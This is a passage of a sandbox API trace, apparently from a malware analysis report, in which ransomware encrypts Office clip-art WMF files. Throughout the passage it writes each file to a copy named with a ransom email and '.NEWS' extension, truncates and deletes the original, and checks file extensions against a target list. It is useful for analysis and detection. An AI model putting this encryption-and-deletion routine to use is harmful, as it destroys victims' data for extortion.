lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.670] SetEndOfFile (hFile=0x390) returned 1 [0093.670] CloseHandle (hObject=0x390) returned 1 [0093.670] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.670] SetEndOfFile (hFile=0x354) returned 1 [0093.671] CloseHandle (hObject=0x354) returned 1 [0093.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.671] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0093.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.672] lstrlenW (lpString=".doc") returned 4 [0093.672] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.672] lstrlenW (lpString=".docx") returned 5 [0093.672] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.672] lstrlenW (lpString=".pdf") returned 4 [0093.672] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.672] lstrlenW (lpString=".xls") returned 4 [0093.672] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.672] lstrlenW (lpString=".xlsx") returned 5 [0093.672] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.672] lstrlenW (lpString=".ppt") returned 4 [0093.672] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.672] lstrlenW (lpString=".zip") returned 4 [0093.672] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.672] lstrlenW (lpString=".rar") returned 4 [0093.672] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.672] lstrlenW (lpString=".bz2") returned 4 [0093.672] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.672] lstrlenW (lpString=".7z") returned 3 [0093.672] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.672] lstrlenW (lpString=".dbf") returned 4 [0093.672] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.673] lstrlenW (lpString=".1cd") returned 4 [0093.673] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.673] lstrlenW (lpString=".jpg") returned 4 [0093.673] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.673] lstrlenW (lpString=".doc") returned 4 [0093.673] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString=".docx") returned 5 [0093.673] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0093.673] lstrlenW (lpString=".pdf") returned 4 [0093.673] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString=".xls") returned 4 [0093.673] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.673] lstrlenW (lpString=".xlsx") returned 5 [0093.673] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0093.673] lstrlenW (lpString=".ppt") returned 4 [0093.673] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.673] lstrlenW (lpString=".zip") returned 4 [0093.673] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.673] lstrlenW (lpString=".rar") returned 4 [0093.673] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString=".bz2") returned 4 [0093.673] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString=".7z") returned 3 [0093.673] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.673] lstrlenW (lpString=".dbf") returned 4 [0093.673] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.674] lstrlenW (lpString=".1cd") returned 4 [0093.674] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0093.674] lstrlenW (lpString=".jpg") returned 4 [0093.674] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.674] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.674] lstrlenW (lpString="J0105244.WMF") returned 12 [0093.674] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.674] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=11228) returned 1 [0093.674] CloseHandle (hObject=0x354) returned 1 [0093.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 0x220 [0093.674] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.675] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.675] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.675] GetLastError () returned 0x0 [0093.675] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x2bdc, lpOverlapped=0x0) returned 1 [0093.677] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x2be0, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x2be0, lpOverlapped=0x0) returned 1 [0093.678] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.678] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.678] SetEndOfFile (hFile=0x390) returned 1 [0093.678] CloseHandle (hObject=0x390) returned 1 [0093.678] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.678] SetEndOfFile (hFile=0x354) returned 1 [0093.679] CloseHandle (hObject=0x354) returned 1 [0093.679] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.679] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105244.wmf")) returned 1 [0093.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.680] lstrlenW (lpString=".doc") returned 4 [0093.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.680] lstrlenW (lpString=".docx") returned 5 [0093.680] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.680] lstrlenW (lpString=".pdf") returned 4 [0093.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.680] lstrlenW (lpString=".xls") returned 4 [0093.680] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.680] lstrlenW (lpString=".xlsx") returned 5 [0093.680] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.680] lstrlenW (lpString=".ppt") returned 4 [0093.680] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.680] lstrlenW (lpString=".zip") returned 4 [0093.680] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.680] lstrlenW (lpString=".rar") returned 4 [0093.680] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.680] lstrlenW (lpString=".bz2") returned 4 [0093.680] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.680] lstrlenW (lpString=".7z") returned 3 [0093.680] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.680] lstrlenW (lpString=".dbf") returned 4 [0093.680] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.680] lstrlenW (lpString=".1cd") returned 4 [0093.680] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.680] lstrlenW (lpString=".jpg") returned 4 [0093.680] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.681] lstrlenW (lpString=".doc") returned 4 [0093.681] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.681] lstrlenW (lpString=".docx") returned 5 [0093.681] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0093.681] lstrlenW (lpString=".pdf") returned 4 [0093.681] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.681] lstrlenW (lpString=".xls") returned 4 [0093.681] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.681] lstrlenW (lpString=".xlsx") returned 5 [0093.681] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0093.681] lstrlenW (lpString=".ppt") returned 4 [0093.681] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.681] lstrlenW (lpString=".zip") returned 4 [0093.681] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.681] lstrlenW (lpString=".rar") returned 4 [0093.681] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.681] lstrlenW (lpString=".bz2") returned 4 [0093.681] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.681] lstrlenW (lpString=".7z") returned 3 [0093.681] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.681] lstrlenW (lpString=".dbf") returned 4 [0093.681] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.681] lstrlenW (lpString=".1cd") returned 4 [0093.681] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105244.WMF") returned 68 [0093.681] lstrlenW (lpString=".jpg") returned 4 [0093.681] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.681] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.681] lstrlenW (lpString="J0105246.WMF") returned 12 [0093.681] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.682] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=19328) returned 1 [0093.682] CloseHandle (hObject=0x354) returned 1 [0093.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0093.682] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.682] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.683] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.683] GetLastError () returned 0x0 [0093.683] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0093.685] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0093.686] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.686] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.686] SetEndOfFile (hFile=0x390) returned 1 [0093.686] CloseHandle (hObject=0x390) returned 1 [0093.686] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.686] SetEndOfFile (hFile=0x354) returned 1 [0093.687] CloseHandle (hObject=0x354) returned 1 [0093.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0093.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.688] lstrlenW (lpString=".doc") returned 4 [0093.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.688] lstrlenW (lpString=".docx") returned 5 [0093.688] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.688] lstrlenW (lpString=".pdf") returned 4 [0093.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.688] lstrlenW (lpString=".xls") returned 4 [0093.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.688] lstrlenW (lpString=".xlsx") returned 5 [0093.688] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.688] lstrlenW (lpString=".ppt") returned 4 [0093.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.688] lstrlenW (lpString=".zip") returned 4 [0093.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.688] lstrlenW (lpString=".rar") returned 4 [0093.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.688] lstrlenW (lpString=".bz2") returned 4 [0093.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.688] lstrlenW (lpString=".7z") returned 3 [0093.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.688] lstrlenW (lpString=".dbf") returned 4 [0093.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.688] lstrlenW (lpString=".1cd") returned 4 [0093.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.688] lstrlenW (lpString=".jpg") returned 4 [0093.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.689] lstrlenW (lpString=".doc") returned 4 [0093.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0093.689] lstrlenW (lpString=".docx") returned 5 [0093.689] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0093.689] lstrlenW (lpString=".pdf") returned 4 [0093.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0093.689] lstrlenW (lpString=".xls") returned 4 [0093.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0093.689] lstrlenW (lpString=".xlsx") returned 5 [0093.689] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0093.689] lstrlenW (lpString=".ppt") returned 4 [0093.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.689] lstrlenW (lpString=".zip") returned 4 [0093.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0093.689] lstrlenW (lpString=".rar") returned 4 [0093.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0093.689] lstrlenW (lpString=".bz2") returned 4 [0093.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0093.689] lstrlenW (lpString=".7z") returned 3 [0093.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.689] lstrlenW (lpString=".dbf") returned 4 [0093.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.689] lstrlenW (lpString=".1cd") returned 4 [0093.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0093.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0093.689] lstrlenW (lpString=".jpg") returned 4 [0093.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0093.690] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0093.690] lstrlenW (lpString="J0105250.WMF") returned 12 [0093.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.690] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=4628) returned 1 [0093.690] CloseHandle (hObject=0x354) returned 1 [0093.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf")) returned 0x220 [0093.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0093.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0093.691] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.691] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105250.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105250.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0093.691] GetLastError () returned 0x0 [0093.691] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x1214, lpOverlapped=0x0) returned 1 [0093.693] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0x1220, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0x1220, lpOverlapped=0x0) returned 1 [0093.694] ReadFile (in: hFile=0x354, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1 [0093.694] WriteFile (in: hFile=0x390, lpBuffer=0x3b3b020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1 [0093.694] SetEndOfFile (hFile=0x390) returned 1 [0093.694] CloseHandle (hObject=0x390) returned 1 [0093.694] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0093.694] SetEndOfFile (hFile=0x354) returned 1 [0093.695] CloseHandle (hObject=0x354) returned 1 [0093.695] SetFileAttributesW 